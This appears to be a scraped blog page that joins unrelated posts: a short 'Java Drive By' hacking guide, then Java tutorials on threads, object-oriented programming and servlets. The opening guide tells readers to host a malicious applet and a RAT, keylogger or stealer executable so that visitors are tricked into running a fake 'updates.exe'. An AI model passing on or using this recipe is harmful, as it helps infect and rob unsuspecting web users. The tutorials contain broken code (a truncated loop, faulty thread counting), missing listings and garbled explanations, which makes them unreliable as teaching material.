For hacking dudes, this will be another useful article. The Java Drive By is basically a fake web-client which automatically installs our executable files on victims machine Requirements :-
1) Java installed on victims computer
2) Evil brain 1)make a account on file average or other hosting 2)upload this java applet file----> http://www.easy-share.com/1910112267/Java_Applet.rar
3)upload your executable file rat loger stelaer etc
4)click on index=2 and edit it and put your exe link where PUT UR URL IS WRITTEN
5)check your site you'll see a new pop up of updates.exe if victims runs it boom he is infected EDITING A TEXT FILE IS GIVEN IN THE IMAGE.
Hi,
One of the most important concepts in java is Threads. If we want to master in java we need to have a sound knowledge in the concept of threads and programming of java using threads. I am going to explain this with an illustrative program; the following is the program about a text file containing large number of words. Our task is to divide the large text file into five smaller text files and we should be able to run 5 threads parallel on each of the 5 smaller files and finally to sum up the total number of words.
import java.io.*;
import java.util.*;
import java.text.*;
import java.lang.*;
class newThread1 implements Runnable
{
Thread t;
public static int vcount=0;
char ch[];
int i;
String process="";
newThread1(String pro)
{
t = new Thread(this);
process=pro;
t.start();
}
public void run()
{
try
{
for(int i=0;i<=10000;i++)
{
ch=process.toCharArray( );
if( (ch[i]==' ') )
{
vcount++;
}
}
}
catch (Exception e)
{}
}
}
class multithreading
{
static Scanner in ;
public static void main(String args[]) throws Exception
{
int vcount=0;
FileInputStream fis=new FileInputStream("sample.txt");
int c;
int n=1;
int b;
while((c=fis.read())!=-1)
if(((char)c==' '))
{
n++;
}
System.out.println(n);
fis.close();
in=new Scanner(new FileReader("sample.txt"));
String pro1="";
String pro2="";
String pro3="";
String pro4="";
String pro5="";
String pro="";
b=n/5;
System.out.println(b);
for(int i=0;i
{
if(i<=b)
{
FileOutputStream fos=new FileOutputStream("first.txt");
pro=in.next();
pro1=pro1+ ' ' +pro;
fos.write(pro1.getBytes());
pro="";
}
if((i>(b)) && (i<=(2*b)))
{
FileOutputStream fos=new FileOutputStream("second.txt");
pro=in.next();
pro2=pro2+ ' ' +pro;
fos.write(pro2.getBytes());
pro="";
}
if((i>(2*b)) && (i<=(3*b)))
{
FileOutputStream fos=new FileOutputStream("third.txt");
pro=in.next();
pro3=pro3+ ' ' +pro;
fos.write(pro3.getBytes());
pro="";
}
if((i>(3*b)) && (i<=(4*b)))
{
FileOutputStream fos=new FileOutputStream("fourth.txt");
pro=in.next();
pro4=pro4+ ' ' +pro;
fos.write(pro4.getBytes());
pro="";
}
if((i>(4*b)) && (i<=n))
{
FileOutputStream fos=new FileOutputStream("five.txt");
pro=in.next();
pro5=pro5+ ' ' +pro;
fos.write(pro5.getBytes());
pro="";
}
}
newThread1 o1=new newThread1(pro1);
newThread1 o2=new newThread1(pro2);
newThread1 o3=new newThread1(pro3);
newThread1 o4=new newThread1(pro4);
newThread1 o5=new newThread1(pro5);
try
{
o1.t.join();
o2.t.join();
o3.t.join();
o4.t.join();
o5.t.join();
}
catch (InterruptedException e)
{}
String s="count";
newThread1 o=new newThread1(s);
System.out.println("The total no. of words in the file : ");
System.out.print((o.vcount));
}
}
In the above program using the concept of threads the large text is broken into five small text files. These are compared using the string options which are mentioned in the program and finally they are added up using the join function.
Regards,
Karthik.
Object- Oriented Programming – An Introduction
OOPs Stands for object oriented programming. It is a very efficient langauge which remove the problems regarding procedural programming and its based on real life.
The first achievement of OOP towards better design and maintenance is the removal of ambiguity, OOP handles is the problem of non-flexibility of code.
Objects are software bundles of data and related procedures.
visual representation of a software object:
Encapsulation
Encapsulation is beneficial
Encapsulation is very efficient function of OOPs which provides the essential information to user and hided information which ic not valid for a normal user. In encapsulation functions and variables get in to a software and gives a good output.
- Modularity
- Information hiding
Messages
Message passing is a very ncie function of OOPs. Through this function different modules of a software can interact with each other and communicate with eash other.
When a software needs interaction of other module then it can send message to it and can get response.
Messaging
A Message with Parameters
Three components comprise a message:
- The object to whom the message is addressed (bicycle)
- The name of the method to be performed (changing gears) any parameters needed by the method (to a higher gear)
Messages is OOPs are beneficial.
A object in OOPs can do work only by communicating with other moduleks and objects & functions, so message passing supports all possible interactions between objects.
Objects don't need to be in the same process or even on the same machine to send and receive messages back and forth to each other.
Class
A class is a blueprint or prototype that defines the variables and the methods common to all objects of a certain kind.
The Term "Object"
In the real world it’s obvious that classes are not themselves the objects that they describe.
Then also occurs because many people use the term “object” inconsistently and use it to refer to both classes and instances.
The main difference between a class and an object is that objects are tangible, but a class is always intangible. You can’t see a class but you can always see an object.
The Benefits of Classes
Objects provide the benefit of modularity and information hiding. Classes provide the benefit of reusability
What is Inheritance?
Classes inherit state and behavior from their superclass. Inheritance provides a very helpful concept of code reusability.
Hierarchy of Classes
The Benefits of Inheritance
Subclasses provide specialized behaviors from the basis of common elements provided by the superclass. Through the use of inheritance, programmers can reuse the code in the superclass many times.
Programmers can implement superclasses that define "generic" behaviors (called abstract classes). The essence of the superclass is defined and may be partially implemented but much of the class is left undefined and unimplemented. Other programmers fill in the details with specialized subclasses.
Abstraction
In java, classes are used to categorize data in order to model real life systems. Abstraction is this process of categorizing data.
apstraction
Polymorphism
Polymorphism may be defined as the ability of related objects to respond to the same message with different, but appropriate, actions.
Polymorphism
Dynamic Binding
Binding refers to the linking of a procedure call to the code to be executed in response to the call.
Dynamic binding means that the code associated with a given procedure call is not known until the time of the call at run-time.
It is associated with polymorphism and inheritance.
Overloading
In Object Oriented Programming if a method depending on some information does different job at different times that method is overloaded .Overloading is nothing but a kind of polymorphism.
Example:
Suppose drawGraph() is a mechanism to draw a graph depending on the information provided,
- DrawGraph(): Draws a point at any random location.
- DrawGraph(point1, point2): Draws a line from point1 to point2
- DrawGraph(point1,point2,point3,point4): Draw a rectangle using these points.
Overriding
Inheritance is a mechanism of inheriting the traits of parents but some times some properties should be modified according to the need like a son inherits legs from his parents but his walking style is different. This is Overriding.
It is again a kind of polymorphism and very important in terms of dynamic decisions.
Benefits of OOP
Through inheritance, we can eliminate redundant code and extend the use of existing classes.
We can build programs from the standard working modules, which communicate with one another, rather than having to start writing the code from scratch. This leads to saving of development time and higher productivity.
The principle of data hiding helps the programmer to build secure programs that cannot be invaded by code in other parts of the program.
- It is possible to have multiple instances of an object to co-exist without any interference.
- It is possible to map objects in the problem domain to corresponding objects in the program.
- It is easy to partition the work in a project based on objects.
- The data-centered design approach enables us to capture more details of a model in implementable form.
- Object-oriented systems can be easily upgraded from small to large systems.
- Message passing techniques for communication between objects makes the interface descriptions with external systems much simpler.
- Software complexity can be easily managed.
Servlets
What are Servlets?
The following are the basic steps of using servlets:
• The client makes a request.
• The Web server forwards the request to the servlet after receiving it from the client.
• Some kind of process is done by the servlet after receiving the HTTP request.
• A response is returned back to the web server from the servlet.
• The web server will forward the response to the client.
Why use servlets Instead of CGI?
CGI makes separate process for each request but servlet can't make separate process.
• What are the requirements for writing Servlets?
Install JavaSoft’s Java Servlet Development Kit (JSDK). Set the environment variable CLASSPATH, to the required location so that your servlets can find the servlet packages.
The following setting has to be made for Windows 95 and NT systems, with the JSDK installed in the default location:
set CLASSPATH=%CLASSPATH%;C:\Program Files\JSDK\lib\Classes.zip
To run Servlets you need a Web server that supports the Servlet API. The following steps are required to run any servlet:
• If your Web server is not running, start it.
• Configure the Web server to install the servlet.
• Run your Web browser.
• Direct the browser to the particular URL that refers to the new servlet.
For example, a URL that refers to the servlet is of the form:
http://host-name:port/servlet/servlet-name?request-query-string
The Java Web Server
The Java Web Server known as Jeeves is JavaSoft’s Web server, which supports the use of servlets. This Web Server is written in the Java language and it is not a part of JDK distribution.
• Configuring Java Web Server for Servlets
The administration tool is invoked by accessing the administration port of the server with a Java enabled Web browser. The Java Web Server administration tool is installed on port 9090. In order to invoke this tool, you can use the following URL: http://localhost:9090/index.html
The following fields are displayed on the servlet-loading view, which are used for configuring:
Name: This is the name assigned to the server. It need not be the name of the servlet class.
Description: It describes the servlet in brief. It is only used from within the Web service.
Class Name: It defines the Java class name for the servlet, including the package name.
Arguments: It defines the list of arguments to be passed to the servlet.
The arguments should be given in the following format: key=value
Load at Startup: This indicates whether the servlet should be loaded automatically when the server starts.
Loaded Now: This indicates whether the servlet is currently loaded. This field can be used to load and unload the servlet.
Load Remotely: This indicates whether the Web service should load the servlet from a remote location.
Class File URL: This indicates the URL of the remote servlet class.
The other way of configuring the Java Web Server for servlets is by changing the properties defined in the configuration file called servlets.properties available in the admin\properties\process\javawebserve \adminservice directory.
To define a servlet in this file, use the following form:
servletname.code=classname
The default code base of a servlet is the servlets directory but it can be overridden by an entry in the following form:
servletname.codebase=URL
The arguments to the servlets can be specified by an entry in the following form:
servletname.initArgs=comm_separated_list
To configure the servlets.properties file for running a servlet named TestServlet defined in a class called Test, you have to enter the following lines in the file servlets.properties:
TestServlet.code=Test
TestServer.codebase=http://localhost:8080/servlet
TestServer.initArgs=one=Hello,two=World
• Create your .java file i.e. SimpleServlet.java
• Place in your directory e.g. C:\MyServlets
• Set classpath as set classpath=c:\jsdk2.0\lib\JSKD.jar this instruct a compiler that all class file which is imported is located in jsdk2.0\lib directory and the file is jsdk.jar
• Compile your SimpleServlet.java file, you will get SimpleServlet.class.
• Open another command window
• Change your directory c:\jsdk2.0\bin
• Start servletrunner and use –d option to specify where your class file is located in our case it is MyServlets i.e. c:\jsdk2.0\bin\servletrunner –d c:\MyServlet
• Open a browser and give address as http://localhost:8080/servlet/SimpleServlet This means that servlet is present in your local machine and port address is 8080. The name of the servlet is SimpleServlet.
The Servlet API
The package javax.servlet defines all the classes and interfaces associated with the Servlet API. This package includes four Java interfaces and three classes. The interfaces are:
• ServletContext
• ServletRequest
• ServletResponse
• ServletStub
And the classes are:
• Servlet
• ServletInputStream
• ServletOutputStream
Basic Servlet classes and methods
The Servlet class allows the developer to create servlets by providing the necessary functions. This class includes the methods listed in Table below:
Servlet Class Methods
Public void service( ServletRequest req, ServletResponse res) : This method is used to service a single request from a client. The main purpose of the parameters is to access the input and output streams that are connected to the client browser.
Public void init() : This method is called by the system when the servlet is first loaded. It is basically used for general initialization of the servlet. The init () method might be called to reset the servlet after it has been used. Therefore, you have to be careful that only initialization is performed in this init () method.
ServletContext getServletContext(): This method gets a servletContext object that is associated with information about the environment in which the servlet is running.
void log( String mesg ): This method is used to log a message to the servlet log. Logs are generally written into a directory called log under the server’s home directory. These log entries depict the accesses the Web server receives.
String getServletInfo(): This method returns the information about the servlet, as a string.
public void destroy(): This method is used to release the servlet.
Methods to get Information about the Request - The ServletRequest Interface
int getContentLength():This method is used to return the size of the input data to be supplied (in bytes). It returns -1 if the size is unknown.
String getContentType():This method is used to return a string that is associated with the MIME content type for the data that is to be sent to the servlet from the client browser. This method returns null if the client has not specified the content type. The Content type depends on the browser. For instance, some browsers specify content types of text / plain to indicate that the data is of no special type. Some use content / unknown, and some use application / octet-stream.
String getProtocol():This method is used to return the protocol and version of a Web browser client. The returned string is of the form.
String getParameter( String parameter-name): This method is used to return the value of the parameter (Query string defined in the URL) associated with the name of the parameter passed as an argument to this method. For example, if an URL is given as : http://localhost:8080/servlets/Myservlet>mesg=Hello, the method call getParameter(“mesg”) would return the string value Hello.
Enumeration getParameterNames():This method is used to return an enumeration of strings representing the names of the parameters defined in the URL. This method does not return the values associated with the parameters. To obtain the associated values, call the getParameter() method.
InetAddress getRemoteAddr(): This method is used to return the IP address of the client who sent the request.
String getRemoteHost():This method is used to return the name of the host who made the request.
String getQueryString(): This method is used to return a string that represents only the query string part of the Servlet URL.
String getServerName(): This method is used to return a string that represents the host name of the server.
Int getServerPort(): This method is used to return an integer that represents the port number through which the request is received.
String getPathTranslated():This method is used to return the path information that describes the path on the server machine from which the servlet was loaded.
String getHeader( String header_field): This method is used to return the header information associated with the header_field. To obtain the header_field use the method getParameterNames().
ServletInputStream getInputStream():This method returns the input stream for reading the request data.
Methods to send Information to the client’s browser - The ServletResponse Interface
The response status can be set through a list of static integer variables defined by the ServletResponse interface. The following are the variables:
• SC_OK
• SC_CREATED
• SC_NO_CONTENT
• SC_MOVED_PERMANENTLY
• SC_MOVED_TEMPORARILY
• SC_BAD_REQUEST
• SC_UNAUTHORIZED
• SC_FORBIDDEN
• SC_NOT_FOUND
ServletResponse Interface
ServletOutputStream getOutputStream():This method is used to return the output stream for writing responses to the client browser.
void setContentLength(int length): This method is used to set the content length of the response.
void setContentType( String type ): This method is used to set the content type for the response. The content types are the MIME types discussed earlier. (Refer note for more details about MIME).
void writeHeaders():This method is used to write the status and message headers for the response to the output stream.
void setStatus( int status ): This method is used to set the status code and a default message for the response.
void setHeader( String header_field, String header_value): This method is used to set the value of a header field.
Methods to get Information regarding the servlet context - The ServletContext Interface
The ServletContext interface allows you to find out information about the environment in which the servlet is running.
ServletContext Interface
String getServerInfo():This method is used to return a string that represents the name and the version of the server running.
String getServlet():This method is used to return a string that represents the name of the servlet.
Enumeration getServlets():This method is used to return an enumeration of all the available servlets in this context.
The basic steps required for writing servlets are as follows:
• Step 1 : Extend the Servlet class.
• Step 2 : Override the service() method.
• Step 3 : Get the output stream from the ServletResponse object and create a PrintStream object with it.
• Step 4 : Set the response status to OK using the static variable SC_OK.
• Step 5 : Set the content type of the response to the appropriate MIME type.
• Step 6 : Finally, print the request string to the PrintStream.
Let us write a simple servlet program with the help of the above methods. This servlet will respond to the client with the server’s information.
The output produced by the above program is in plain text, as follows:
Listing 3:The following program displays the responses given by the servlet. This program demonstrates some methods of the ServletRequest interface:
Listing 4 : The following program responds to the client with an image :
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
public class SimpleImg extends HttpServlet
{
public void service(HttpServletRequest req, HttpServletResponse res) throws
IOException
{
res.setContentType("image/jpeg");
File f = new File("servlets/","veli.jpg");
int size = (int)f.length();
res.setContentLength(size);
byte [] buffer = new byte[size];
FileInputStream in = new FileInputStream(f);
in.read(buffer);
res.getOutputStream().write(buffer);
res.getOutputStream().close();
}
}
This is the output produced by this servlet program.
Server-Side Includes
The following steps illustrates the basic flow of Server-Side Includes:
- The mapping table is checked by the Web server for any prefix or suffix matches. In this case, the .shtml file matches a suffix mapping which instructs the Web server to invoke the Server Side Include servlet.
- If necessary, the Server Side Servlet is loaded and invoked. The Servlet tags are searched only after the Servlet Side Include servlet has parsed the data stream that was read by the File servlet.
- The servlets corresponding to all the servlet tags found will be invoked and the output fron the servlets merged with the data stream at the point of inclusion of the servlet tags.
- Finally, the assembled HTML page will be sent to the client.